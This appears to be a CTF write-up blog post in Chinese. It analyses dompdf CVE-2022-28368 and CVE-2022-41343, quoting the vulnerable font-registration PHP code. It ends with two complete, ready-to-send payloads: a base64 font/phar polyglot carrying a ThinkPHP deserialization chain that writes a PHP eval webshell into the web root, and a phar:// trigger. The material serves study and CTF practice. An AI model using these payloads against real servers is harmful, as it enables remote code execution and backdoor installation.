pdf_converter_revenge

CVE-2022-28368(从xss到RCE漏洞)

漏洞复现

1.根据官方文档:https://positive.security/blog/dompdf-rce 打开搭建的网站,先测试xss弹窗,然后用title中xss漏洞利用远程加载css,包含已经写好的样式表。
在这里插入图片描述

2.此时,服务器会将样式表中的字体文件exploit.php进行下载并解析保存,其中涉及到判断文件内容是否含有ttf字体样式,然后进行重命名保存注册字体。

3.由于没有过滤上传的文件后缀,于是可以直接使用php后缀被保存为php文件,然后文件名的命名规则代码中也能预测,格式为font-familyname_<ttf-type>_<filename-hash>.ext。最后访问该文件保存的路径,即可执行写在文件ttf字体样式版权部分的恶意代码了。
在这里插入图片描述

漏洞分析

1.xss漏洞是网站产生的,直接略过。重点是我们远程加载的字体文件是如何被保存的。主要是分析注册字体这部分功能,在官方文档中,处理该功能的文件和方法是application/dompdf/src/FontMetrics.php/FontMetrics::registerFont($style, $remoteFile, $context = null)

    public function registerFont($style, $remoteFile, $context = null)
    {
        $fontname = mb_strtolower($style["family"]);
        $families = $this->getFontFamilies();

        $entry = [];
        if (isset($families[$fontname])) {
            $entry = $families[$fontname];
        }

        $styleString = $this->getType("{$style['weight']} {$style['style']}");
        $fontDir = $this->options->getFontDir();
        $remoteHash = md5($remoteFile);
        ..........
        $prefix = $fontname . "_" . $styleString;
        $prefix = trim($prefix, "-");
        $prefix = mb_convert_encoding($prefix, "ISO-8859-1", $prefix_encoding);
        mb_substitute_character($substchar);
        $prefix = preg_replace("[\W]", "_", $prefix);
        $prefix = preg_replace("/[^-_\w]+/", "", $prefix);

        $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
        $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
        .................................

        list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
        if ($remoteFileContent === null) {
            return false;
        }

        $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
        file_put_contents($localTempFile, $remoteFileContent);

        $font = Font::load($localTempFile);

        if (!$font) {
            unlink($localTempFile);
            return false;
        }

        $font->parse();
        $font->saveAdobeFontMetrics("$cacheEntry.ufm");
        $font->close();

        unlink($localTempFile);
        file_put_contents($localFile, $remoteFileContent);

        if ( !file_exists($localFile) ) {
            unlink("$cacheEntry.ufm");
            return false;
        }

        $this->setFontFamily($fontname, $entry);
        $this->saveFontFamilies();

        return true;
    }

2.大概代码意思就是,接收到一个远程字体文件后,先获取与字体名和字体类型,再将font-family的名字和font-weight类型用下划线链接,最后再用下划线连接一个用文件名计算的$remoteHash属性作为$localFile属性。随即就是将该文件作为缓存文件暂存在$localTempFile中,再通过Font::load()方法的验证文件内容是否为ttf字体的样式。若为假则删除并直接返回false,为真则继续执行下面代码,将文件内容$remoteFileContent写入到刚刚预定好的文件名$localFile中。

3.最后在/Font目录下能看到已保存的字体样式,在代码中可以看到,后缀名未经过任何处理便用pathinfo()和parse_url()进行处理并拼接到$localFile中,以至于文件后缀、以及后面处理的文件名和配置保存的字体文件路径都是可知的,这就导致了漏洞的产生。

CVE-2022-41343(从phar反序列化到RCE)

1.针对上个漏洞,补丁中的修复方案。首当其冲修复了针对文件后缀名的检测,在/src/FontMetrics.php中内容检测通过后,强制添加.ttf后缀。除此之外,文件上传功能并未修改,总的来说就是利用难度添加了,但是依然存在文件内容可控和文件名可预测的问题。

2.当系统存在文件包含漏洞时,依旧可能导致漏洞的产生。而这个漏洞讨论的是phar反序列化搭配文件上传造成RCE,早在2019年就披露了Dompdf接收含有src元素的标签造成不可信任数据的反序列化(CVE-2021-3838:https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/),当我们输入的数据含有src的HTML元素标签<img src="phar://test.phar">通过pdf打印的$dompdf->loadHtml($html);部分通过历史框架反序列化漏洞和上面的任意文件上传将可造成RCE的产生,

3.在dompdf的2.0.0版本对此漏洞也进行了修复,在//srv/options.php调用前创建了一个包含file://、http:// 和 https:// 的列表属性$allowedProtocols。然后在载入样式表的方法Stylesheet::loac_css_file()中调用了该文件的方法来检测协议是否存在$allowedProtocols中,不存在则立刻返回,然后才调用Helpers::getFileContent获取文件内容。也就是这个方案通过对phar://禁用类修复反序列化。

4.但是百密一疏,漏洞点还是在注册字体的文件方法中FontMetrics::registerFont。除了限制了后缀以外,重点是在用星号包括的那段代码,当取得的前缀不存在$allowed_protocols数组内时,将会抛出异常,但是并没有返回,也就是说抛出异常以后依旧可以执行下面的代码。

    public function registerFont($style, $remoteFile, $context = null)
    {
        $fontname = mb_strtolower($style["family"]);
        $families = $this->getFontFamilies();

        $entry = [];
        if (isset($families[$fontname])) {
            $entry = $families[$fontname];
        }

        $styleString = $this->getType("{$style['weight']} {$style['style']}");
        $fontDir = $this->options->getFontDir();
        $remoteHash = md5($remoteFile);
        ..........
        $prefix = $fontname . "_" . $styleString;
        $prefix = trim($prefix, "-");
        $prefix = mb_convert_encoding($prefix, "ISO-8859-1", $prefix_encoding);
        mb_substitute_character($substchar);
        $prefix = preg_replace("[\W]", "_", $prefix);
        $prefix = preg_replace("/[^-_\w]+/", "", $prefix);

        $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
        $localFilePath = $this->getOptions()->getFontDir() . "/" . $localFile;
        .................................
*************************************************************
        [$protocol] = Helpers::explode_url($remoteFile);
        $allowed_protocols = $this->options->getAllowedProtocols();
        if (!array_key_exists($protocol, $allowed_protocols)) {
            Helpers::record_warnings(E_USER_WARNING, "Permission denied on $remoteFile. The communication protocol is not supported.", __FILE__, __LINE__);
        }

        foreach ($allowed_protocols[$protocol]["rules"] as $rule) {
            [$result, $message] = $rule($remoteFile);
            if ($result !== true) {
                Helpers::record_warnings(E_USER_WARNING, "Error loading $remoteFile: $message", __FILE__, __LINE__);
            }
        }
*************************************************************
        ..............
        list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
        if ($remoteFileContent === null) {
            return false;
        }

        $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
        file_put_contents($localTempFile, $remoteFileContent);

        $font = Font::load($localTempFile);

        if (!$font) {
            unlink($localTempFile);
            return false;
        }

        $font->parse();
        $font->saveAdobeFontMetrics("$cacheEntry.ufm");
        $font->close();

        unlink($localTempFile);
        if ( !file_exists("$localFilePath.ufm") ) {
            return false;
        }

        $fontExtension = ".ttf";
        switch ($font->getFontType()) {
            case "TrueType":
            default:
                $fontExtension = ".ttf";
                break;
        }

        file_put_contents($localFilePath.$fontExtension, $remoteFileContent);

        if ( !file_exists($localFilePath.$fontExtension) ) {
            unlink("$localFilePath.ufm");
            return false;
        }

        $this->setFontFamily($fontname, $entry);

        return true;
    }

5.这意味着我们可以使用任何协议来进入Helpers::getFileContent($remoteFile, $context)。如下面所见,要让if成立,首先$is_local_path为真的话,解析url的得到的$protocol要么是空值(意味着这是一个文件路径)、要么是file://、phar://。或者$can_use_curl不为真,意味着解析的url不能等于https://、http://协议。当我们传入的$uri中是phar://协议时意味着先进入第一个if成立内,然后将$context利用file_get_contents协议写入到我们传入的$uri中。

    public static function getFileContent($uri, $context = null, $offset = 0, $maxlen = null)
    {
        $content = null;
        $headers = null;
        [$protocol] = Helpers::explode_url($uri);
        $is_local_path = in_array(strtolower($protocol), ["", "file://", "phar://"], true);
        $can_use_curl = in_array(strtolower($protocol), ["http://", "https://"], true);

        set_error_handler([self::class, 'record_warnings']);

        try {
            if ($is_local_path || ini_get('allow_url_fopen') || !$can_use_curl) {
                if ($is_local_path === false) {
                    $uri = Helpers::encodeURI($uri);
                }
                if (isset($maxlen)) {
                    $result = file_get_contents($uri, false, $context, $offset, $maxlen);
                } else {
                    $result = file_get_contents($uri, false, $context, $offset);
                }
                if ($result !== false) {
                    $content = $result;
                }
                if (isset($http_response_header)) {
                    $headers = $http_response_header;
                }

6.这个时候,当远程加载文件功能$isRemoteEnabled=true被禁用时,我们如果url用data://phar://协议到第一个if中,通过file_get_content,将data://协议将一个phar://开头的文件写入磁盘,然后再发送一个phar://协议触发反序列化,这样就能绕过该功能的禁用,实现RCE。

漏洞复现:DASCTFX SU战队2023开局之战 web-pdf_converter_revenge

1.下载附件,审计代码时,发现上述漏洞的关键部分都已经打好了断点。同时在入口方法中index.php index::pdf()下发现$allowedProtocols和官方文档相比,多添加了data://协议并进行调用$options->setAllowedProtocols进行重写。这意味着我们用该协议数据不会抛出错误并返回,和参考文章一对比,文章用的是data:text/plain来绕过限定的协议。产生该历史反序列化漏洞的框架再用路由报错看信息得到:thinkphpv5.1.2

2.然后我们在@$dompdf->loadHtml($content)的传递的content的payload形式应该是包含src属性的样式表,因为其他拥有该属性的标签没有font-familyfont-weight属性(生成文件名的要素),并且也不会触发字体注册功能。

<style>
	@font-face {
		font-family:'exploit';
		src:url('data://text/plain;base64,double_url_encode([BASE64_POLYGLOT_TRUETYPE-PHAR])');
		font-weight:'normal';
		font-style:'normal';
	}
</style>

3.那第二个触发phar序列化的payload就应该是包含通过data协议写进去的ttf字体文件。实际上,ttf字体文件的内容就是恶意phar文件的内容(也就是上面base加密的数据),因为phar协议会将其他后缀的文件都作为phar后缀来解压触发序列化过程。

<style>
	@font-face {
		font-family:'exploit';
		src:url('phar://<path>/to/app/vendor/dompdf/dompdf/lib/fonts/exploit_normal_[md5(data://text/plain;base64,[BASE64_POLYGLOT_TRUETYPE-PHAR])].ttf##');
		font-weight:'normal';
		font-style:'normal';
	}
</style>

4.接下来用文章给的python脚本来生成字体文件font.ttf,因为别忘了在注册字体时,对文件内容进行校验,然后再通过$phar->addFromString()添加压缩文件font.ttf,这样我们的data数据流中的数据就能绕过load_css_file()的校验了。但是由于装fontforge工具的过程中遇到了很多的bug,于是直接使用上面exploit的php文件改成ttf后缀,再进行压缩也是一样的。又或者随便下载个ttf文件能过内容校验即可。

import fontforge
import os
import sys
import tempfile
from typing import Optional

def main():
    sys.stdout.buffer.write(do_generate_font())

def do_generate_font() -> bytes:
    fd, fn = tempfile.mkstemp(suffix=".ttf")
    os.close(fd)
    font = fontforge.font()
    font.copyright = "DUMMY FONT"
    font.generate(fn)
    with open(fn, "rb") as f:
        res = f.read()
    os.unlink(fn)
    result = res
    return result

if __name__ == "__main__":
    main()

5.最后准备工作都完成了,利用phpggc里面包含的thinkphp利用链,加入要执行的代码和font.ttf压缩文件生成phar文件。将phar文件的内容进行url编码和base64编码加入到payload1的data://text/plain;base64,数据中,生成的文件名md5值加入到payload2中,然后分别发送即可触发phpggc写入的命令,在目标站点生成后门了。

6.完成以后再次发送即可,访问guangji666.php即可执行命令。
在这里插入图片描述

payload1:
<style>@font-face+{+font-family:'exploit';+src:url('data:text/plain;base64,AAEAAAAKAO%252B%252FvQADACBkdW0xAAAAAAAAAO%252B%252FvQAAAAJjbWFwAAwAYAAAAO%252B%252FvQAAACxnbHlmNXNj77%252B9AAAA77%252B9AAAAFGhlYWQH77%252B9UTYAAADvv70AAAA2aGhlYQDvv70D77%252B9AAABKAAAACRobXR4BEQACgAAAUwAAAAIbG9jYQAKAAAAAAFUAAAABm1heHAABAADAAABXAAAACBuYW1lAEQQ77%252B9AAABfAAAADhkdW0yAAAAAAAAAe%252B%252FvQAAAAIAAAAAAAAAAQADAAEAAAAMAAQAIAAAAAQABAABAAAALe%252B%252Fve%252B%252FvQAAAC3vv73vv73vv73vv70AAQAAAAAAAQAKAAAAOgA4AAIAADMjNTowOAABAAAAAQAAF%252B%252B%252Fve%252B%252FvRZfDzzvv70ACwBAAAAAAO%252B%252FvRU4BgAAAADvv70m270ACgAAADoAOAAAAAYAAQAAAAAAAAABAAAATO%252B%252Fve%252B%252FvQASBAAACgAKADoAAQAAAAAAAAAAAAAAAAAAAAIEAAAAAEQACgAAAAAACgAAAAEAAAACAAMAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEADYAAwABBAkAAQACAAAAAwABBAkAAgACAAAAAwABBAkAAwACAAAAAwABBAkABAACAAAAcwAAAAAKPD9waHAgcGhwaW5mbygpOyA%252FPjw%252FcGhwIF9fSEFMVF9DT01QSUxFUigpOyA%252FPg0KhQoAAAEAAAARAAAAAQAAAAAATwoAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6OToiACoAYXBwZW5kIjthOjE6e2k6MDtzOjg6ImdldEVycm9yIjt9czo4OiIAKgBlcnJvciI7TzoyNzoidGhpbmtcbW9kZWxccmVsYXRpb25cSGFzT25lIjozOntzOjE1OiIAKgBzZWxmUmVsYXRpb24iO2I6MDtzOjg6IgAqAHF1ZXJ5IjtPOjE0OiJ0aGlua1xkYlxRdWVyeSI6MTp7czo4OiIAKgBtb2RlbCI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6Mjg6IgB0aGlua1xjb25zb2xlXE91dHB1dABoYW5kbGUiO086MzA6InRoaW5rXHNlc3Npb25cZHJpdmVyXE1lbWNhY2hlZCI6Mjp7czoxMDoiACoAaGFuZGxlciI7TzoyNzoidGhpbmtcY2FjaGVcZHJpdmVyXE1lbWNhY2hlIjozOntzOjEwOiIAKgBvcHRpb25zIjthOjU6e3M6NjoiZXhwaXJlIjtpOjA7czoxMjoiY2FjaGVfc3ViZGlyIjtiOjA7czo2OiJwcmVmaXgiO3M6MDoiIjtzOjQ6InBhdGgiO3M6MDoiIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6MTg6IkhFWEVOUzxnZXRBdHRyPm5vPCI7czo3MDoiZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMF0pOyA%252FPicgPiAvdmFyL3d3dy9odG1sL3B1YmxpYy9ndWFuZ2ppNjY2LnBocCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7fXM6NjoiACoAdGFnIjtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NDoiaG9zdCI7czo5OiIxMjcuMC4wLjEiO3M6NDoicG9ydCI7aToxMTIxMTtzOjY6ImV4cGlyZSI7aTozNjAwO3M6NzoidGltZW91dCI7aTowO3M6MTI6InNlc3Npb25fbmFtZSI7czo2OiJIRVhFTlMiO3M6ODoidXNlcm5hbWUiO3M6MDoiIjtzOjg6InBhc3N3b3JkIjtzOjA6IiI7fX1zOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9fX1zOjExOiIAKgBiaW5kQXR0ciI7YToyOntpOjA7czoyOiJubyI7aToxO3M6MzoiMTIzIjt9fXM6OToiACoAcGFyZW50IjtPOjIwOiJ0aGlua1xjb25zb2xlXE91dHB1dCI6Mjp7czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoyOntzOjEwOiIAKgBoYW5kbGVyIjtPOjI3OiJ0aGlua1xjYWNoZVxkcml2ZXJcTWVtY2FjaGUiOjM6e3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDt9czoxMDoiACoAaGFuZGxlciI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mjp7czo2OiIAKgBnZXQiO2E6MTp7czoxODoiSEVYRU5TPGdldEF0dHI%252Bbm88IjtzOjcwOiJlY2hvICc8P3BocCBldmFsKCRfUE9TVFswXSk7ID8%252BJyA%252BIC92YXIvd3d3L2h0bWwvcHVibGljL2d1YW5namk2NjYucGhwIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czo2OiIAKgB0YWciO2I6MTt9czo5OiIAKgBjb25maWciO2E6Nzp7czo0OiJob3N0IjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjExMjExO3M6NjoiZXhwaXJlIjtpOjM2MDA7czo3OiJ0aW1lb3V0IjtpOjA7czoxMjoic2Vzc2lvbl9uYW1lIjtzOjY6IkhFWEVOUyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjt9fXM6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjc6ImdldEF0dHIiO319czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjI4OiIAdGhpbmtcY29uc29sZVxPdXRwdXQAaGFuZGxlIjtPOjMwOiJ0aGlua1xzZXNzaW9uXGRyaXZlclxNZW1jYWNoZWQiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjc6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZSI6Mzp7czoxMDoiACoAb3B0aW9ucyI7YTo1OntzOjY6ImV4cGlyZSI7aTowO3M6MTI6ImNhY2hlX3N1YmRpciI7YjowO3M6NjoicHJlZml4IjtzOjA6IiI7czo0OiJwYXRoIjtzOjA6IiI7czoxMzoiZGF0YV9jb21wcmVzcyI7YjowO31zOjEwOiIAKgBoYW5kbGVyIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoyOntzOjY6IgAqAGdldCI7YToxOntzOjE4OiJIRVhFTlM8Z2V0QXR0cj5ubzwiO3M6NzA6ImVjaG8gJzw%252FcGhwIGV2YWwoJF9QT1NUWzBdKTsgPz4nID4gL3Zhci93d3cvaHRtbC9wdWJsaWMvZ3VhbmdqaTY2Ni5waHAiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YTo3OntzOjQ6Imhvc3QiO3M6OToiMTI3LjAuMC4xIjtzOjQ6InBvcnQiO2k6MTEyMTE7czo2OiJleHBpcmUiO2k6MzYwMDtzOjc6InRpbWVvdXQiO2k6MDtzOjEyOiJzZXNzaW9uX25hbWUiO3M6NjoiSEVYRU5TIjtzOjg6InVzZXJuYW1lIjtzOjA6IiI7czo4OiJwYXNzd29yZCI7czowOiIiO319czo5OiIAKgBzdHlsZXMiO2E6MTp7aTowO3M6NzoiZ2V0QXR0ciI7fX19fX19CAAAAHRlc3QudHh0BAAAACgkW2QEAAAADH5%252F2KQBAAAAAAAAdGVzdPAF8QWfK%252BDtakL7F3jN2xuuzZE5AgAAAEdCTUI%253D');+font-weight:'normal';+font-style:'normal';}</style>

payload2:
<style>@font-face+{+font-family:'exploit';+src:url('phar%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fvendor%2Fdompdf%2Fdompdf%2Flib%2Ffonts%2Fexploit_normal_6f127d7fbafbb8c78a9732cfead13a51.ttf%23%23');+font-weight:'normal';+font-style:'normal';}</style>

可能会遇到的问题

1.当我用脚本发送后写入文件却失败了,本地搭建查看日志后发现问题出现在文章中利用脚本的二次url编码。由于文章给的环境是以get方式进行提交参数,而题目环境则是post方式提交会自动编码一次,所以只需要修改成一次url编码即可,删除一个urllib.pasre.quote

2.tp的入口点目录在/public下,所以在写shell时应该是/var/www/html/public目录下。同理,phar://文件保存的绝对路径也是在/var/www/html,而非/var/www

文章参考链接

1.dom-pdf历史cve
2.从xss到rce
3.通过phar反序列化的RCE
4.dompdf不可信数据的反序列化

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值